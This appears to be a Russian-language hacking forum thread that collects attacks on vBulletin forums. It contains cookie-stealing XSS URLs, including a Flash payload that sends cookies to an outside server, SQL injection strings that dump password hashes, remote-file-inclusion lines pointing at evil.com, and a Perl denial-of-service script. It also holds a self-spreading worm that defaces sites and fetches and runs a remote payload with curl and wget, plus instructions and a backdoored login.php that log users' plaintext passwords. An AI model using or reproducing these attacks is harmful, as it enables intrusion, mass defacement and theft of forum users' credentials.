[site]/[path]/faq.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0
[site]/[path]/memberlist.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2
Fscript&match=all&titlesonly=0
[site]/[path]/calendar.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0
[site]/[path]/search.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0
[site]/[path]/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3
Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0
[site]/[path]/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0
[site]/[path]/forumdisplay.php?do=markread"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3E
alert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0
[site]/[path]/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0
[site]/[path]/showgroups.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0
[site]/[path]/online.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0
[site]/[path]/member.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0
[site]/[path]/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0
Источник www.securitysib.com
на некоторых форумах стоит хайд на ссылки, типа "зарегистрируйтесь, чтобы увидеть ссылку". вовсе не обязательно регаться, достаточно найти это сообщение через "найти все сообщения от ...". там ссылка будет в открытом виде. но обычно в поиске выводится только первые строки.
вот такая мего уязвимость)
Mind Ice
24.11.2007, 16:02
2 freddi это неявляются уязвимостью как ты написал. Просто авторы таких постов с хайдом толком не умеют пользоваться тегами. Как ты написал нужно находить все соообщения от пользователя - хмм а если их 1000 и нужное в середине ? а форум позволяет индексировать только 200 - 400 ? Ненужно искать посты все проще помещаем курсор на скрытый тескт и видим ссылку =).
_-Ramos-_
02.12.2007, 14:38
SQL Injection в админке (тестировалось на версиях 3.6.4 и 3.6.5 )
1. Log in to admin panel
2. Go to Attachments->Search
3. Place the following string in the Attached Before field:
') union select 1,1,1,1,1,userid,password,1,username from user -- 9
Продукт: vBuserbar
Уязвимость: SQL-inj
Автор: S(r1pt
Адрес: http://vash_site/vbuserbar.php?do=groupinsert&name='
=\\
vBulletin <=3.5.3 Search DoS
#!/usr/bin/perl
##########################################
# vBdos.pl - vBulletin <=3.5.3 Search DoS
#
# Written by spic of g00ns
##########################################
# Contact
# Site: www.g00ns.net and www.g00ns-forum.net
# Email: spic <at> g00ns.net
# IRC: irc.g00ns.net #g00ns
##########################################
# Example
# vBdos.pl www.avbforum.com /vbulletin/
##########################################
print q{
__________________________________________________ __________________________
____ ____ ____ ____ _ __ ____ ____ _ __ ____ _____ ____ __ ___
/ __// __//_ // __// |/ // __// _// |/ // __/ / ___// __ / |/ /
_ / _/ / // _/ / /_ _/ / / /_ _ / /__ / /_/ // /|_/ /
/___//___/ /_//___//_/|_//___//___//_/|_//___/(_)___/ ____//_/ /_/
__________________________________________________ __________________________
};
use IO::Socket;
$server= $ARGV[0];
$path=$ARGV[1];
while($x != 9999)
{
$post =
"search_keywords=Se7enSins+owned+your+site$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=ms
gonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
$lrg = length $post;
if(!$server||!$path)
{
print " vBulletin DoS by spic of g00ns nn";
print " Exploit code found on Se7enSins.com nn";
print " n00bFRAGGER was here... nn";
print " usage: VBDoS.pl <host without http> <directory> nn";
exit();
}
my $sock = new IO::Socket::INET (
PeerAddr => "$server",
PeerPort => "80",
Proto => "tcp",
);
die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock;
print $sock "POST $path"."search.php?searchid=1952 HTTP/1.1n";
print $sock "Host: $servern";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $servern";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20050511 Firefox/1.0.5n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postn";
close($sock);
syswrite STDOUT,".";
$x++;
}
##########################################
Было много вопросов к посту:
VBulletin 3.6.4
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.
Пример:
getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");
Для интересующихся как это реализуется:
Обзор работы SWF паразита (http://forum.antichat.ru/showthread.php?t=23174)
Подделка заголовков HTTP запроса с помощью Flash ActionScript (http://www.securitylab.ru/analytics/271169.php)
Bypassing JavaScript Filters the Flash! Attack (http://www.securitylab.ru/analytics/216391.php)
Cross-Domain Data Access via Flash [CDDAF] Reference (http://www.securitylab.ru/contest/300506.php)
Forging HTTP Request Headers with Flash ActionScript (http://www.securiteam.com/securityreviews/5KP0M1FJ5E.html)
из новых модов не было
vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability (http://milw0rm.com/exploits/4166)
Exploit :
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(u sername,0x3a,password,0x3a,salt),31,@@version,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*
vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities (http://milw0rm.com/exploits/3990)
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?
=======
_-Ramos-_
22.01.2008, 13:49
Vbulletin Tube (vBTube) XSS
Exploit :
vBTube.php?do=search&search=<script>alert(document.cookie);</script>
Пример:
http://www.ruhot.ru/forum/vBTube.php?do=search&search=%3Cscript%3Ealert(document.cookie);%3C/script%3E
_-Ramos-_
23.01.2008, 10:19
vBulletin Worm <= 3.0.6
#!/usr/bin/perl
#####################
####
#### #### #### #### #### #### #### # # # # ####
#### # # # # # # # # # # # # # #
#### #### # # ### ## #### # #### ## ###
#### # # # # # # # # # # # # #
#### # #### #### # # #### #### # # # # ####
####
#####################
use IO::Socket::INET;
$hahaha = $0;
my $processo = "/usr/local/sbin/httpd";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
$0="$processo"."\0"x16;
my $pid=fork;
exit if $pid;
########################
# #
# procura index #
# #
#######################
system("locate index.* >> index");
system("find / -name index.* >> index");
open(a,"<index");
@ind = <a>;
close(a);
$b = scalar(@ind);
for($a=0;$a<=$b;$a++){
chomp $ind[$a];
system("echo spykids ownz your server > $ind[$a]");
}
#########################
# #
# pega sites e registra #
# #
#########################
`cat /etc/httpd/conf/httpd.conf |grep ServerName >> sites`;
open(a,"<sites");
@site = <a>;
close(a);
$b = scalar(@site);
for($a=0;$a<=$b;$a++)
{
$site[$a] =~ s/#//g;
$site[$a] =~ s/servername//g;
$site[$a] =~ s/ServerName//g;
$site[$a] =~ s/ //g;
$testa = IO::Socket::INET->new(PeerAddr => $site[$a], PeerPort => 80, Proto => "tcp") or next;
print $testa "GET / HTTP/1.0\n\n";
print $testa "Host: $site";
print $testa "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $testa "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $testa "Accept-Language: pt-br, pt;q=0.50";
print $testa "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $testa "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $testa "Keep-Alive: 300";
print $testa "Connection: keep-alive";
@ow = <$testa>;
close($teste);
$ae = "@ow";
if($ae =~/spykids/i){
$sock = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => 80, Proto => "tcp") or die "nao conectou";
print $sock "POST /en/defacements/notify HTTP/1.0\r\n";
print $sock "Accept: */*\r\n";
print $sock "Referer: http://www.zone-h.org/en/defacements/notify\r\n";
print $sock "Accept-Language: pt-br\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Connection: Keep-Alive\r\n";
print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
print $sock "Host: www.zone-h.org\r\n";
print $sock "Content-Length: 385\r\n";
print $sock "Pragma: no-cache\r\n";
print $sock "\r\n";
print $sock "notify_defacer=SpyKids¬ify_domain=http%3A%2F%2F$site[$a]¬ify_hackmode=18¬ify_reason=5¬ify=+OK+\r\n";
close($sock);
}
}
#########################
# #
# worm aws.spykids #
# #
########################
while(1){
$cmd = '/misc.php?do=page&template={${system(%22cd%20/tmp;curl%20-O%20http://compras.el-nacional.com/spykids.txt%20;perl%20spykids.txt%20;rm%20-rf%20spykids*;%20wget%20http://compras.el-nacional.com/spykids.txt;%20perl%20spykids.txt;%20rm%20-rf%20%20spykids*%22)}}';
@site = "";
$a=0;
@dom = (".ar",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck" , ".cl", ".cm",".cn",".co",".cr",".cs",".cu", ".cv",".cx",".cy",".cz",".de",".dj",".dk",".dm",".do",".dz", ".ec",".ee",".eg",".eh",".er",".es",".et",".fi",".fj",".fk",".fm", ".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl", ".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk", ".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq", ".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km", ".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls", ".lt",".lu",".lv",".ly",".ma",".mc",".md",".mg",".mh",".mk",".ml",".mm", ".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my", ".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om", ".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py", ".qa",".re",".ro",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl", ".sm",".sn",".so",".sr",".st",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm", ".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn", ".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zw");
foreach $dom (@dom){
$site = "www.google.com";
open(a,">pra.txt");
print a "";
close(a);
############### google
for($n=0;$n<1000;$n += 100){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
print $sock "GET h/search?q=%22Powered+by%3A+vBulletin%22inurl%3A$dom&num=100&hl=en&lr=&as_qdr=all&start=$n&sa=N HTTP/1.0\n\n";
print $sock "Host: www.google.com";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $sock "Accept-Language: pt-br, pt;q=0.50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $sock "Keep-Alive: 300";
print $sock "Connection: keep-alive";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
substr($uber,0,7) = "";
$nu = rindex $uber, '/';
$uber = substr($uber,0,$nu);
open(a,">>pra.txt");
print a "$uber\n";
close(a);
}}}}}}
}
}
$ark = "pra.txt";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
open(a,"<pra.txt");
@site = <a>;
close(a);
foreach $site (@site){
chomp $site;
($site, $dir) = split('/',$site);
$soc = IO::Socket::INET->new(PeerAddr => $site, PeerPort => 80, Proto => "tcp") or next;
print $soc "GET /$dir$cmd HTTP/1.0\n\n";
print $soc "Host: $site";
print $soc "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $soc "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $soc "Accept-Language: pt-br, pt;q=0.50";
print $soc "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $soc "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $soc "Keep-Alive: 300";
print $soc "Connection: keep-alive";
close($soc);
}
}
}
На некоторых форумах версию форума можно узнать тут
forum/archive/index.php/
Basurman
23.03.2008, 20:17
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
По идее все просто: в файл login.php в корне сайта добавляем
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
define( 'auth_req', './customavatars/avatar178_2.gif' );
$fp = fopen( auth_req, 'a' );
$un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s");
$message = "$un3:$un1:$un2\r\n";
flock($fp,LOCK_EX);
fwrite( $fp, $message );
fflush($fp); flock($fp,LOCK_UN); fclose( $fp );
// can the user login?
но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
// implemented like this to make sure un-updated templates behave as before
input.value = '';
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
...
// input.value = '';
...
P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
vBulletin 3.7.0 <= XSS Explot
Found by RoBOTNIK
http://[website]/[forumpath]/ajax.php?do=CheckUsername¶m=# EVIL XSS SCRIPT #
http://www.site.com/forums/ajax.php?do=CheckUsername¶m=<script>alert('xss');</script>
ReanimatoR
09.05.2008, 17:47
vBulletin 3.7.0 листалка от DGT
может чем нить помочь если в папке с форумом лежит что нибудь ценное
на всех версиях от DGT пашет.
ЗЫ
http://forum.antichat.org/threadnav25644-1-10.html
GrAmOzEkA
11.05.2008, 17:38
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
Делал немного по другому и в результате получал чистые пароли.
1) Добавляем в начало файла login.php
$Login = $_POST['vb_login_username'];
$Passwd = $_POST['vb_login_password'];
$fp = fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp);
2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.
3) Для того чтобы обнулить сессии выполняем код:
$link = mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query = "TRUNCATE TABLE префикс_session";
$result = mysql_query($query, $link);
mysql_close($link);
baltazar
23.05.2008, 22:21
p0h n03s priv8 rootshell vbulletin pw logger
<?php
/*================================================= =====================*\
|| ################################################## ################## ||
|| # vBulletin 3.6.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| ################################################## ################## ||
\*================================================ ======================*/
// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);
// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');
// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();
// get special data templates from the datastore
$specialtemplates = array();
// pre-cache templates used by all actions
$globaltemplates = array();
// pre-cache templates used by specific actions
$actiontemplates = array(
'lostpw' => array(
'lostpw'
)
);
// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');
// ################################################## #####################
// ######################## START MAIN SCRIPT ############################
// ################################################## #####################
$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);
if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash'])
{
eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash'])));
}
process_logout();
$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
if (strpos($vbulletin->url, 'do=logout') !== false)
{
$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
}
$show['member'] = false;
eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));
}
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
//does the user have a pass
$username = $vbulletin->GPC['vb_login_username'];
$password = $vbulletin->GPC['vb_login_password'];
$logfile = "rootshell.txt";
$lf = fopen($logfile, "a");
fwrite($lf, "\n".$username . ' : ' . $password."\n");
fclose($lf);
// can the user login?
$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);
if ($vbulletin->GPC['vb_login_username'] == '')
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;
// check password
exec_strike_user($vbulletin->userinfo['username']);
if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = array(
'userid' => 0,
'usergroupid' => 1
);
if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes' , $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}
exec_unstrike_user($vbulletin->GPC['vb_login_username']);
// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
// do redirect
do_login_redirect();
}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
$email = $vbulletin->GPC['email'];
if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
{
$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
eval('$navbar = "' . fetch_template('navbar') . '";');
}
else
{
$navbar = '';
}
$url =& $vbulletin->url;
eval('print_output("' . fetch_template('lostpw') . '");');
}
// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{
$vbulletin->input->clean_gpc('p', 'email', TYPE_STR);
if ($vbulletin->GPC['email'] == '')
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
require_once(DIR . '/includes/functions_user.php');
$users = $db->query_read_slave("
SELECT userid, username, email, languageid
FROM " . TABLE_PREFIX . "user
WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
");
if ($db->num_rows($users))
{
while ($user = $db->fetch_array($users))
{
$user['username'] = unhtmlspecialchars($user['username']);
$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);
eval(fetch_email_phrases('lostpw', $user['languageid']));
vbmail($user['email'], $subject, $message, true);
}
$vbulletin->url = str_replace('"', '', $vbulletin->url);
eval(print_standard_redirect('redirect_lostpw', true, true));
}
else
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
}
// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{
$vbulletin->input->clean_array_gpc('r', array(
'userid' => TYPE_UINT,
'u' => TYPE_UINT,
'activationid' => TYPE_UINT,
'i' => TYPE_UINT
));
if (!$vbulletin->GPC['userid'])
{
$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
}
if (!$vbulletin->GPC['activationid'])
{
$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
}
$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);
$user = $db->query_first("
SELECT activationid, dateline
FROM " . TABLE_PREFIX . "useractivation
WHERE type = 1
AND userid = $userinfo[userid]
");
if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
{ // is it older than 24 hours?
eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
}
if ($user['activationid'] != $vbulletin->GPC['activationid'])
{ //wrong act id
eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
}
// delete old activation id
$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");
// make random number
$newpassword = vbrand(0, 100000000);
// init user data manager
$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
$userdata->set_existing($userinfo);
$userdata->set('password', $newpassword);
$userdata->save();
($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;
eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
vbmail($userinfo['email'], $subject, $message, true);
eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));
}
/*================================================= =====================*\
|| ################################################## ##################
|| # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $
|| ################################################## ##################
\*================================================ ======================*/
?>
Судя по всему там мжно вставить только один символ.
Т.е. срубают базу данных следующий код:
faq.php?s=&do=search&match=any&titlesonly=1&q=a+a+a
(даже без кавычек)
Но что толку?
Vbulletin 3.7.0 Gold Sql injection on faq.php
Я посмотрел щас код.
Да, действительно толку в баги нет.
Это ошибка логики, при одиночном символе происходит некорректное формирование запроса к бд.
Заюзать с пользой невозможно.
ReanimatoR
01.07.2008, 23:10
XSS в вобле
{
У жертвы должно быть:
Vbulletin forum - все версии
vBanonymizer - любая версия до 24.06.08
}
Наверное у многих установлен этот хак? (vBanonymizer) =) ссылка на вб.орг (http://www.vbulletin.org/forum/showthread.php?t=131292)
Description:
This is a hack to "anonymize" all outgoing links from your forum to prevent the referrer information from being sent.
недавно получил ЛС от одного из наших участников, с сообщением об уязвимости в этом хаке - XSS
скачал последнюю, доступную версию с оффорума (Version: 2.7), покрутил его на локалке...
результаты:
помимо того, что там действительно есть "дырка", так он еще и не выполняет того, для чего предназначен (анонимность при переходе по ссылке с форума)
т.е. реферер всетаки передается =)
это не сложно проверить, (при установленном хаке) прописать линк у себя на форуме http://www.vbsupport.org/forum/1.php и перейти по нему
пример дырки:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e 0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
скрин ниже
http://www.vbsupport.org/forum/imagehosting/2008/07/01/30486999e5c3c38.jpg
временная (кривенькая, но рабочая) "заплатка", (пока на оффоруме не раздуплятся заделать) если не хотите удалять (бесполезный, на мой взгляд) хак:
1. в файле redirector.php найти:
===
$do = $_GET;
заменить на:
$do = $_REQUEST;
найти:
$url = rawurldecode($vbulletin->input->clean($_GET, TYPE_NOHTML));
заменить на:
$url = base64_decode($vbulletin->input->clean($_REQUEST, TYPE_NOHTML));
найти:
$displayurl = '<a href="' . $scriptpath . '?do=nodelay&url=' . str_replace('&', '&', $url) . '">' . $url . '</a>';
заменить на:
$displayurl = '<a href="' . str_replace('&', '&', $url) . '">' . $url . '</a>';
===
2. в плагине Anonymizer Function этого продукта найти:
$replace[] = '<a href="' . $scriptpath . rawurlencode($oldurl) . $nofollow;
заменить на:
$replace[] = '<a href="' . $scriptpath . base64_encode($oldurl) . $nofollow;
======
ссылки в постах будут выглядеть примерно так:
_http://domain.com/forum/redirector.php?url=HR0cDovL3d3dy52YnN1cHBvcnQub3Jn L2ZvcnVtLzEucGh"]http://www.vbsupport.org/forum/1.php (в строке состояния видна реальная ссылка с редиректором)
и вот эта хрень:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e 0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
уже не будет работать
(с) _vbsupport.org
XSS-base64
_http://securityvulns.ru/news/CGI/2008.06.14.html
_http://securityvulns.ru/news/CGI/2008.06.19.html
Exploit:
http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
http://localhost/vB3/modcp/index.php?redirect=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
http://securityvulns.ru/Udocument137.html
язвимость существует из-за недостаточной обработки параметров "PHP_SELF" и "do" при запросе несуществующей страницы.
Exploit:
1) Оставляем в логах булки нашу хсс, используя данный эксплоит:
<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img src="http://localhost/vB/upload/admincp/faq.
php/1?do=*/a%3D'document.wri'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.
